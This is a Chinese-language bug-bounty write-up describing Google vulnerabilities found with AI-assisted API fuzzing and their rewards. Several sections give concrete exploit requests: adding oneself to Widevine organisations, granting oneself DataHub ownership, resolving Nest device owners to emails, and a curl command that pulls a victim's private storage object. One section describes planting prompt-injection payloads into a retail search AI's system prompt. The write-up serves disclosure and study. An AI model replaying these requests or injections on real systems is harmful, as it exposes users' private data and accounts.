从与一些Googler的交谈中学到的一个有趣的点——Eldar似乎是产品团队在定义应用程序的安全边界(什么是有意的,什么不是)的地方。
这个漏洞共获得26,674美元:正常Google应用。漏洞类别:绕过重要安全控制,PII或其他机密信息。x2
#### 泄露YouTube未列播视频
如果你读过我之前的博客文章,关于我发现的泄露YouTube创作者电子邮件的漏洞,我谈到了YouTube Partner有一个隐藏的 CONTENT_OWNER_TYPE_IVP(又名“躯干”)Content Manager账户绑定着它们。事实证明,每当创作者上传视频到他们的频道时,都会为这些视频创建资产。
从Content ID API文档中,一个资产资源代表一件知识产权,例如录音或电视剧集。
`json
{
"kind": "youtubePartner#assetSnippet",
"id": "A211451325656589",
"type": "web",
"title": "Really cool song",
"timeCreated": "2025-10-30T01:40:01.000Z"
}
`
不管什么原因,不仅为未列播视频创建了资产,而且WEB资产的资产名称会泄露上传视频的视频ID,其格式为 Auto generated asset - <video_id>。因此,通过搜索Content ID资产中包含 Auto generated asset - 的内容,有可能泄露YouTube创作者的未列播视频ID,这些ID可以放在 https://www.youtube.com/watch?v=<video_id> URL 中观看未列播视频。
我们可以直接使用Google的API Explorer,访问Content ID API中的这个URL并点击“Execute”。它会泄露2025-10-29T08:39:00Z 到 2025-10-29T10:39:00Z之间从YouTube Partner Program频道上传的所有视频ID,包括未列播和私有视频ID。
`json
{
"kind": "youtubePartner#assetSnippetList",
"items": [
{ "title": "Auto generated asset - <REDACTED>", ... },
...
]
}
`
这种攻击在现实世界中极其实用。任何人可以每隔大约30秒发送一个请求,获取实时feed,包含每个合作伙伴上传的未列播视频。为什么这很重要?像Polymarket这样的预测市场让人们可以对未来事件的结果下注,包括Google下一个Gemini模型何时发布等。
公司经常首先以未列播形式上传产品公告视频进行内部测试,然后才公开发布。滥用此漏洞的人可以监控这些预发布上传,并利用内幕消息下注,基本上将漏洞变成了一个印钞机。
这个漏洞被奖励了12,000美元,备注:这份报告质量极佳!可能导致特别敏感用户数据泄露的域名。漏洞类别:绕过重要安全控制,其他数据/系统。
#### Widevine ATO Widevine是由Widevine Technologies开发、Google于2010年收购的数字版权管理(DRM)技术。它是世界上部署最广泛的DRM系统之一,被Disney或Netflix等公司用来保护高级视频内容不被复制或盗版。
Google为这些合作伙伴提供了访问管理门户的权限,以管理他们的Widevine密钥。通常,这些Partner Dash应用是完全对外封锁的,但这个应用却奇怪地可以用Google账户公开访问,尽管你实际上无法管理其他任何资料。
AI不同意——事实证明,虽然前端看起来没什么,但API本身却另有故事。通过发送以下请求:
`
GET /v1/orgs?orgIdentifier.actor.actorType=DRM_SERVICE&orgIdentifier.orgType=CONTENT_OWNER HTTP/2
Host: alkaliwidevineintegrationconsole-pa.clients6.google.com
...
`
它转储了所有在Widevine门户上有账户的组织。你甚至可以查看他们所有的Widevine密钥。API甚至提供了一个不错的请求来解码AES密钥。
这还没完,你可以列出任何Widevine组织的用户:
`
POST /v1/userInfo/listUserInfo HTTP/2
...
{
"orgInfo": { "orgType": "DEVICE", "organization":"google" }
}
`
返回了用户邮件和Gaia ID。
...或者你可以直接把自己添加到任何你想要的组织:
`
POST /v1/userInfo/addUser HTTP/2
...
{
"email": "gvrptest2@gmail.com",
"orgInfo": { "orgType": "DEVICE", "organization": "google" }
}
`
返回200 OK。如果你现在访问 https://partnerdash.google.com/apps/widevineintegrationconsole/deviceSeries,你可以开始管理该组织的设备。
这个漏洞获得16,004.40美元,备注:这份报告质量极佳!正常Google应用。漏洞类别:绕过重要安全控制,PII或其他机密信息。
#### plx.corp.google.com PLX tables是Google内部的数据分析和仪表板平台,仅供Google员工使用。它列在 xg2xg 仓库中。许多Google服务与此集成进行数据分析,尤其是YouTube。
AI最初在内部DataHub API中发现了一个有趣的端点:
`
GET /v2/entries:suggest?query=PeopleView_Lifecycle&enableAllResults=true&enableDebug=true HTTP/2
Host: datahub.clients6.google.com
...
`
响应包含了一个表的描述,其中显示这是员工数据,仅供合法商业目的使用。
然而,尽管获取表信息的其他所有端点都被 PERMISSION_DENIED 封锁,但用于建议表的这个端点似乎完全暴露。
不久之后,AI发现你可以在staging API上直接使用 setIamPolicy 将自己添加为整个数据集的管理员:
`
POST /v2/projects/google/datasets/ytdata:setIamPolicy HTTP/2
Host: staging-datahub-googleapis.sandbox.google.com
...
{ "policy": { "bindings": [ { "members": [ "user:grptest2@gmail.com" ], "role": "roles/datahub.owner" } ] } }
`
返回200。现在你可以转储所有数据集条目:
`
GET /v2/projects/google/datasets/ytdata/entries?pageSize=100 HTTP/2
Host: staging-datahub-googleapis.sandbox.google.com
...
`
这个响应非常巨大(几个GB),充满了大量机密的YouTube信息。
从有限的查询中,我看到 ytdata 数据集中一些表的元数据,这些表似乎包含大量YouTube用户数据。关于DataHub的有趣之处在于,这实际上是PLX在确定是否允许运行查询时检查的底层ACL。我报告了这个漏洞,不到一小时就被接受为P0/S0。
事实证明,这个漏洞只存在于staging环境(它是prod的镜像),所以尽管理论上DataHub ACL用于对底层数据的授权检查,但没有办法证明这些表本身可以被查询。因此,两个漏洞共获得12,000美元:2x 这份报告质量极佳!正常Google应用。漏洞类别:绕过重要安全控制,其他数据/系统。
#### 去匿名化Nest设备所有者
这个漏洞很有趣,因为它让我想起了我的第一个Google漏洞。AI标记了 nestauthproxyservice-pa.googleapis.com 上的一个未认证端点,该端点接收一个Nest设备ID并返回设备所有者的未混淆Gaia ID。
`
POST /v1/look_up_by_nest_id HTTP/2
...
{"nestId": {"id": "2000", "namespaceId": {"id": "nest-phoenix-prod"}}}
Response: { "gaiaId": "<REDACTED_GAIA_ID>" }
`
Nest ID字段只是一个顺序整数。递增它可以遍历所有曾经配置过的Nest设备,并转储其所有者的未混淆Gaia ID。仅凭这一点已经是一种去匿名化的原语,但未混淆的Gaia ID不是电子邮件,所以我需要一种方式将它们解析为电子邮件。
这就是第二个漏洞发挥作用的地方。Play Books Private API有一个许可证管理流程,你可以给自己授予免费许可证:
`
POST /v1/enterprise/license:grantfreelicenses HTTP/2
...
{"docid": ["E4QCAAAAQAAJ"]}
`
...然后添加任意的未混淆Gaia ID作为许可证所有者:
`
POST /v1/enterprise/license/owner:add HTTP/2
...
{
"licenseId": "4716209991810285569",
"licenseOwner": [{"gaiaUser": {"gaiaId": "<REDACTED_GAIA_ID>"}}]
}
`
响应会回显每个许可证所有者及其电子邮件:
`json
{
"license": {
"licenseId": "4716209991810285569",
"licenseOwners": [
{"gaiaUser": {"gaiaId": "730720269944", "email": "gvrptest2@gmail.com"}},
{"gaiaUser": {"gaiaId": "<REDACTED_GAIA_ID>", "email": "<redacted>@gmail.com"}}
]
}
}
`
串联起来:递增Nest ID -> 受害者的未混淆Gaia ID -> Play Books许可证所有者添加 -> 电子邮件。
特别有趣的是,licenseOwner 接受一个数组,所以你可以一次解析数百个Gaia ID,而且未混淆的Gaia ID本身就是顺序的。理论上,你可以遍历整个Gaia ID空间,转储每个曾经存在过的Gaia账户的电子邮件。
#### Vertex AI Translation Hub Translation Hub是Google Cloud的产品,用于管理大规模文档翻译工作流。你上传文档,分配翻译人员组,并跟踪后期编辑工作。AI在这个API上发现了许多访问控制问题。
未认证的 ListOperations
translationhub.googleapis.com 上的ListOperations端点不需要任何OAuth令牌,只需要一个GCP项目编号和一个API密钥。响应包括目标项目的每个Translation Hub操作,错误消息泄露了内部服务账户名称、Google Cloud Storage (GCS) 存储桶名称(泄露受害者的项目ID),甚至内部Spanner风格的索引/表名。
跨租户翻译人员 + 工作元数据
同一个API上的另外两个方法,只需一个有效的Bearer令牌(任何Google账户都可以)就能泄露跨租户的数据。两者都没有进行任何授权检查,除了检查你的令牌是否有效。其中一个是 ListTranslatorGroups,返回翻译人员的邮箱、内部用户ID、认证提供者和语言对。另一个是 ListPostEditingJobs,返回工作名称、创建者邮箱、备注、源语言、目标语言等。
跨租户写入 -> 通过 UpdateProjectConfig 进行GCS外泄
同一个API上的 UpdateProjectConfig 也没有授权检查,这意味着任何经过认证的Google账户都可以更新任何GCP项目的Translation Hub项目配置。仅这一点就已经是一个干净的跨租户写入,但情况更糟。
Translation Hub允许用户通过指向GCS URI来上传公司logo,并且在设置过程中,它要求用户授予 cloud-translation-hub@system.gserviceaccount.com 服务账户对其GCS的Storage Admin角色,以便它可以获取图像。该SA在所有Translation Hub租户之间共享。
因此,如果受害者已经完成了标准的Translation Hub设置,那么SA已经对其GCS存储桶具有读取访问权限。结合未授权的 UpdateProjectConfig,你可以将受害者的项目配置指向其账户下的任何GCS路径,包括私有路径,然后API会为你获取它,并将图像内容以base64编码返回:
`bash
HTTP_STATUS=$(curl -s -o response.json -w "%{http_code}" -X PATCH \
-H "Authorization: Bearer <ACCESS_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"companyName":"vrptestlol123","projectLogoGcsSource":{"inputUri":"gs://gvrptest4-bucket/secret_image.png"}}' \
"https://translationhub.clients6.google.com/v1alpha/projects/273897706296/locations/us-central1/projectConfig?updateMask=companyName,projectLogoGcsSource")
`
响应中包含 projectLogo.content 设置为base64编码的图像,脚本将其解码为 exfil.png:受害者的私有GCS对象。副作用是,现在Translation Hub UI中他们的公司名称变成了你设置的任何内容。
这三个漏洞共获得36,500美元。
#### YouTube TV CMS
这个漏洞影响特别大。如果你读过我之前的文章,你会知道YouTube CMS(内容管理器)账户有能力对YouTube上的任何视频进行罢工、声明版权或变现。这个API专门为 https://partnerdash.google.com/apps/tvfilm 而建,这是电视合作伙伴的面向公众的面板。
AI标记出,没有一个campaign端点实际检查调用者是否与他们所接触的campaign有任何关系。任何经过认证的Google账户都可以读取、修改、复制、归档或删除系统中的任何campaign,这同时会泄露所有这些敏感CMS账户的电子邮件地址。
认证是第一方认证,Origin 为 https://business.google.com。任何登录了Google账户的人都可以通过打开 business.google.com 的DevTools,从任何 *.clients6.google.com 请求中提取有效凭证。
列出每个campaign
GET /v1/campaigns 返回系统中的每个campaign,没有按账户过滤,没有作用域,只是一个全局转储。
除了读取,CRUD的其余部分也具有相同的缺乏访问控制。PATCH /v1/campaigns:update、POST /v1/campaigns:copy、POST /v1/campaigns:bulkUpdate 和 POST /v1/campaigns:delete 都可以在任何campaign上按ID工作,允许攻击者重写、克隆、归档或永久删除系统中的任何campaign。
这个漏洞获得24,000美元,备注:这份报告质量极佳!可能导致特别敏感用户数据泄露的域名。漏洞类别:绕过重要安全控制,PII或其他机密信息。
#### Vertex AI Search for Commerce Vertex AI Search for Commerce是Google Cloud的产品,用于将搜索和推荐嵌入零售网站。它包含一个“意图分类”配置:模型前言(系统提示)、示例查询和关键词黑名单,这些决定了对话式搜索AI被允许回答哪些用户查询。
retail.googleapis.com 上的 conversationalSearchCustomizationConfig 端点没有授权检查。任何经过认证的Google账户都可以读取或PATCH任何GCP项目的配置,而对目标没有任何权限。
读取受害者的配置 返回模型前言、每个分类示例及其内部理由,以及任何黑名单关键词。公司倾向于将实际内容策略放在这里,所以泄露的理由字段基本上是内部策略注释。
写入受害者的配置 允许你重写模型前言为任何内容。攻击者可以将任意提示注入payload直接注入受害者面向客户的搜索AI的系统提示,篡改分类示例以绕过受害者自己的黑名单,并更改零售商的显示名称。
这个漏洞获得30,000美元,备注:这份报告质量极佳!漏洞类别:单服务权限提升 - WRITE。攻击者和受害者之间没有任何交互或关系。Tier 1的Google Cloud产品。
Cloud VRP小组还指出:“顺便说一句,这是之前一个问题的重复,但你的报告帮助识别了额外的impact,小组认为对该报告也予以奖励是最公平的。”
#### Cloud Console GraphQL
在Google,并非所有 .googleapis.com 服务都在互联网上公开可达。许多只能在内部 .corp.googleapis.com 域上访问。然而,通过各种“代理”表面,我们可以间接到达它们。
例如,在许多Google网站上,你会看到POST请求到 /_/data/batchexecute 端点。在Google Classroom中的以下请求实际上被映射到 classroom-pa.googleapis.com 服务上的gRPC方法。ProtoJSON请求体被转码为gRPC请求并传递到 classroom-pa 后端。
另一个有趣的例子可以在Google Cloud Console(https://console.cloud.google.com)中找到,它是大多数GCP的管理界面。
有趣的事实:Cloud Console的内部代号是“Pantheon”。
如果你曾经打开过Cloud Console的DevTools并查看网络流量,你可能注意到像这样的请求:
`
POST /v3/entityServices/BillingAccountsEntityService/schemas/BILLING_ACCOUNTS_GRAPHQL:batchGraphql HTTP/2
X-Goog-Api-Key: AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
Host: cloudconsole-pa.clients6.google.com
Content-Type: application/json
{
"querySignature": "2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=",
"operationName": "GetResourceBillingInfo",
"variables": {"name": "projects/bughunters", "unscoped": true}
}
`
这些是GraphQL查询,在Google中相当不常见,因为它们与标准化的API结构不太匹配。像 batchexecute API一样,这只是一个前端API,代理调用到gRPC/Stubby(Stubby是Google的内部RPC框架,是gRPC的前身)。这些端点暴露了相当多的额外攻击面,否则这些攻击面是无法触及的,而且可能存在一些有趣的边缘情况。
然而,如果你仔细看上面的请求,你会注意到 querySignature 变量。这是完整GraphQL查询的签名哈希(我们可以在前端JS代码中看到该查询):
`graphql
query GetResourceBillingInfo($name: String!, $unscoped: Boolean = false)
@NullProto
@Signature(bytes: "2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=") {
billingResourcesQuery {
getResourceBillingInfo(name: $name, unscoped: $unscoped) {
...
}
}
}
`
每个请求都会检查查询签名,这使得操作起来有点困难。
当AI使用上述基础设施扫描 staging-cloudconsole-pa.sandbox.googleapis.com 时,AI标记出在Cloud Console Private API的staging版本上,内省(查询GraphQL schema)似乎被启用了。
内省本身并非安全事件(就像访问私有发现文档不是漏洞一样)。更令人惊讶的是,有可能绕过查询签名验证。事实证明,在staging API上的未认证查询,无论什么原因,都不会验证查询签名。
我的好朋友Michael有GraphQL经验,我们合作重新设计了现有的模糊测试基础设施以支持GraphQL。我们使用内省来抓取所有3448个实体/模式对,这些对已存档在GitHub上。然后我们着手将Cloud Console GraphQL API集成到现有的AI模糊测试基础设施中。
GraphQL理论上相当简单,几乎完全基于嵌套对象和原语,位于一个(可能)循环的有向图结构内。这个结构从一个到三个根操作类型开始(查询、突变和订阅)。使GraphQL独特的是没有显式的“函数”——类型上的每个字段都可以有自己的参数。
这种灵活性带来了一些挑战,因为现有的发现文档模糊测试是围绕端点(方法)的概念构建的,这些端点被分组用于模糊测试。我们如何将这个范式转换到GraphQL?
还记得我们暗示这些被映射到额外的服务器端RPC方法吗?Google并没有真正将这些API设计为功能齐全的GraphQL API。相反,大多数东西直接映射到批量的RPC请求。你可以在AIPLATFORM_GRAPHQL模式的整个图中看到这一点:注意,大多数字段的命名方式看起来像是直接映射到RPC方法:例如 createDeploymentResourcePool、listGalleryNotebooks 和 fetchPublisherModelConfig。
我们对这个问题的解决方案是在模式内引入“查询路径”的概念,每个查询路径标识图的一个特定遍历,我们将其分类为需要测试的API“方法”。例如,在上面的图中,第一个查询路径将是 iam.iamPolicies(它接受一个 google.iam.v1.GetIamPolicyRequest 类型的参数,所以显然映射到一个服务器端方法调用)。
我们开发了一套启发式方法,用于在GraphQL模式中识别方法。我们首先从每个根类型(查询、突变和订阅)开始,然后递归向下遍历,在满足以下任何条件时停止: - 字段接受任何参数 - 字段类型是标量(字符串、数字、日期等) - 字段类型是对象,且该类型的名称包含下划线(表明它来自内部protobuf定义)
这些启发式方法通常准确,但请记住,这仅仅是构建AI输入以分组的方法,所以不需要100%完美。
从这里开始,我们将查询路径分组在一起,就像它们是方法一样。我们移除了每个组中包含的查询路径所不需要的所有类型和字段(以减少上下文大小),然后将模式序列化为SDL格式。
我们还用查询工具替换了 probe_api MCP工具,该工具接受一个字符串参数作为GraphQL查询。每当进行查询时,我们会解析整个查询,提取该请求覆盖的相关查询路径,这确保了组的100%测试覆盖率。这也意味着我们可以在到达实时API之前拒绝任何无效语法或类型幻觉。
Michael还构建了一个很棒的前端(基于GraphiQL和GraphiQL explorer),使我们能够轻松手动测试查询。
不出所料,我们发现了许多漏洞。
App Engine请求日志
发现的第一个GraphQL漏洞是在 GaeEntityService/GAE_GRAPHQL 中的 GetDashboardAppStats 查询。它返回给定项目过去24小时的App Engine请求日志,但从未验证调用者是否对该项目有任何IAM访问权限。它甚至不需要认证。
为了确认这是一个漏洞,我们访问了Google Bug Hunters网站上的一个独特URL(该网站使用App Engine):https://bughunters.google.com/gaedemo/meow,等待大约30秒让日志传播,然后发送了带有 projectId: bughunters 的请求。果然,我们的URL立刻出现在响应中。
请求URL通常包含密码重置URL、webhook、令牌等,这些可能允许敏感操作。我们录制了一个简短的PoC视频来演示影响。
这个漏洞获得18,000美元,备注:这份报告质量极佳!漏洞类别:单服务权限提升 - READ。攻击者和受害者之间没有任何交互或关系。Tier 1的Google Cloud产品。我们应用了降级,因为结果仅限于读取访问日志,影响高度依赖于受害者的设置。
此漏洞被分配了CVE-2026-8934。
Vertex Assistant
AI揭示了一些对 AiplatformEntityService 实体的有趣未认证GraphQL查询,看起来可疑。AgentListSessions 查询似乎完全缺乏认证,鉴于我们的攻击者账户可以读取受害者的数据,它肯定存在某种漏洞。
我们的挑战随后变成了对庞然大物Cloud Console进行逆向工程,并实际定位这个神秘的易受攻击功能。
在爬取了Cloud Console的完整5GB前端JavaScript后,我们进行了一些静态分析和DevTools实验。我们最终弄清楚了这个功能是Vertex Assistant,一个用于选择AI模型和回答关于Vertex AI平台问题的聊天助手(现在为Gemini Enterprise Agent Platform)。这个功能仍处于实验阶段,隐藏在前端功能标志 45737108 后面。
要实际测试这个漏洞,我们首先需要填充测试会话,这意味着强制在客户端启用该功能标志。这些标志在页面的初始HTML响应中设置,但出于某种原因,功能标志payload是使用XOR密码混淆的:
`javascript
FlagManager.prototype.parsePayload = function (a) {
try {
var b = JSON.parse(a)[0];
a = '';
for (var c = 0; c < b.length; c++) a += String.fromCharCode(
b.charCodeAt(c) ^ '\u0003\u0007\u0003\u0007\u0008\u0004\u0004\u0006\u0005\u0003'.charCodeAt(c % 10)
);
this.aa = JSON.parse(a)
} catch (d) {}
};
`
拦截和编辑这个XOR“加密”的响应测试起来很痛苦,而且对Cloud VRP的三分类人员来说也不容易复现。
强制启用功能标志 我们最终使用的技巧是直接挂钩页面生命周期,并在功能标志payload被解析后立即设置断点,此时我们可以在SPA URL路由代码运行并重定向离开Vertex Assistant页面之前启用该功能标志。我们发给Cloud VRP团队的启用标志的最终说明如下:
步骤1-5省略(见原文),最终Vertex Assistant UI得以渲染。
实际漏洞
一旦我们能够填充会话,我们查看了GraphQL流量。AIPLATFORM_GRAPHQL模式中所有相关的查询都没有检查任何认证或授权。AgentListSessions、AgentGetSession、AgentCreateSession、AgentRunAgent 和 AgentRunStreamAgent 都可以在未认证的情况下工作,完全取决于你传入的 userId。所以如果你知道目标用户的电子邮件,你就可以列出他们的会话、读取每份脚本、追加聊天内容,或者代表他们创建/删除会话。
AgentListSessions 返回任何用户的会话ID和标题。获取这些会话ID并提供给 AgentGetSession 可以转储完整的对话脚本。同样的模式适用于写入端查询:目标用户的电子邮件加上会话ID就足以删除聊天、追加消息或以其名义创建新会话。
这个漏洞获得30,000美元,备注:单服务权限提升 - WRITE漏洞,影响Tier 1域的Google Cloud产品。我们想表彰您报告的卓越质量。虽然受影响的系统尚未发布且不包含客户数据,我们对此奖励做出例外,未来我们可能不会奖励类似的报告。
Cloud VRP小组后来澄清说:“在这种情况下,我们与团队进行了沟通,我们认为它很可能会被遗漏并会被发布,因此我们决定给予奖励。”
Google Maps Platform 结算积分
MapsEntityService/GMP_GRAPHQL 中的 ListBillingAccountCredits 查询没有认证或授权检查。更糟糕的是,传递通配符父账户 accounts/- 返回了大量Google Maps Platform结算账户的积分。
响应包含每个条目的结算账户ID、积分计划(NON_PROFIT、STARTUP等)、美元金额、批准状态以及一个自由文本的“理由”字段。
“理由”字段是事情变得有趣的地方。Google员工在批准积分时会在其中写入任何内容,而该字段在此处未经筛选地返回。毫不奇怪,其中包含Google员工留下的客户PII:
`json
{"justification": "61795668 <redacted>@gmail.com"},
{"justification": "Case # 16827766, <redacted>@gmail.com, customer is working with the partner..."},
`
这个漏洞获得12,000美元,备注:这份报告质量极佳!正常Google应用。漏洞类别:绕过重要安全控制,PII或其他机密信息。我们应用了降级,因为攻击可能造成的影响较小。
Google Maps团队后来澄清说,这仅影响了一部分客户。
### 总结 三个月的这种设置带来了超过50万美元的赏金,这里只展示了其中一小部分。大多数Google漏洞不需要巧妙的利用,只需要耐心。相同的破损模式无处不在:跨租户资源上缺少IAM检查、没有授权控制的GraphQL模式、生产环境中的调试端点、指向生产数据的sandbox环境。AI的工作不是标新立异,而是在一个人类无法全面覆盖的庞大表面上不知疲倦地检查那些显而易见的事情。
一些收获:
- operation_id 重放系统是使工作流高效的关键。没有一键确认,AI输出就是无法使用的噪音。
- 有了发现文档、GraphQL SDL或proto,AI就知道如何为API提供有意义的输入来进行测试。
- Google的服务器端攻击面非常标准化。如果你能将大部分内容从AI抽象出来,它就可以将更多时间用于测试实际的API,而不是弄清楚基础设施的古怪之处。
非常感谢 Michael Dalton 在GraphQL方面的合作(以及共同撰写了这篇文章的该部分),感谢Google VRP耐心修复所有这些漏洞,也感谢邀请我参加bugSWAT Mexico的人,这一切都是从这里开始的。